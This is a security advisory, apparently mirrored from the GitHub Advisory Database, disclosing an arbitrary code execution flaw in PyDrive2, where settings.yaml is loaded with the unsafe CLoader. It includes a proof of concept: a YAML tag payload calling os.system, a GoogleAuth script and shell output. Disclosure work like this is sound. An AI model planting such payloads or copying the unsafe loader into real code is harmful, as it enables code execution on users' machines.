Lucene search

K
githubGitHub Advisory DatabaseGHSA-V5F6-HJMF-9MC5
HistoryDec 05, 2023 - 11:43 p.m.

PyDrive2's unsafe YAML deserialization in LoadSettingsFile allows arbitrary code execution

2023-12-0523:43:07
CWE-502
GitHub Advisory Database
github.com
3
pydrive2
yaml deserialization
arbitrary code execution
cloader
googleauth
settings file
package vulnerability
deserialization attack
googleauth initialization
malicious file presence

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

28.5%

Summary

Unsafe YAML deserilization will result in arbitrary code execution. A maliciously crafted YAML file can cause arbitrary code execution if PyDrive2 is run in the same directory as it, or if it is loaded in via LoadSettingsFile.

Details

The loader being imported from the yaml library is CLoader: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L5

This loader is then used to load a user supplied file: https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L108-L121

CLoader is considered unsafe. It will allow any Python code inside of it to be executed. This loading behaviour also happens automatically, the file only needs to be present for this vulnerability to occur.

https://github.com/iterative/PyDrive2/blob/30c0f487c0666c0d1944ef774107359f39adc2fa/pydrive2/settings.py#L9

Reference: https://www.exploit-db.com/docs/english/47655-yaml-deserialization-attack-in-python.pdf

PoC

  1. Create a malicious settings.yaml file:
!!python/object/new:os.system [echo poc]
  1. Initialize a GoogleAuth object .
from pydrive2.auth import GoogleAuth

gauth = GoogleAuth()
  1. Execute the code with the settings file present in your directory. The code inside the file will be executed:
[evan@ejedev PyDrive2]$ ls
CHANGES  client_secrets.json  CONTRIBUTING.rst  docs  examples  LICENSE  main.py  MANIFEST.in  pydrive2  pyproject.toml  pytest.ini  README.rst  settings.yaml  setup.py  tox.ini
[evan@ejedev PyDrive2]$ cat settings.yaml
!!python/object/new:os.system [echo poc]
[evan@ejedev PyDrive2]$ cat main.py 
from pydrive2.auth import GoogleAuth


gauth = GoogleAuth()
[evan@ejedev PyDrive2]$ python3 main.py 
poc

Alternatively, the file can be loaded in directly via pydrive2.settings.LoadSettingsFile

Impact

This is a deserilization attack that will affect any user who initializes GoogleAuth from this package while a malicious yaml file is present in the same directory. As it does not require it to be directly loaded through the code, only present, I believe this produces an extra element of risk.

Affected configurations

Vulners
Node
iterativepydrive2Range<1.16.2
OR
iterativepydrive2Match1.17.0
CPENameOperatorVersion
pydrive2lt1.16.2
pydrive2eq1.17.0

7.8 High

CVSS3

Attack Vector

LOCAL

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

7.7 High

AI Score

Confidence

High

0.001 Low

EPSS

Percentile

28.5%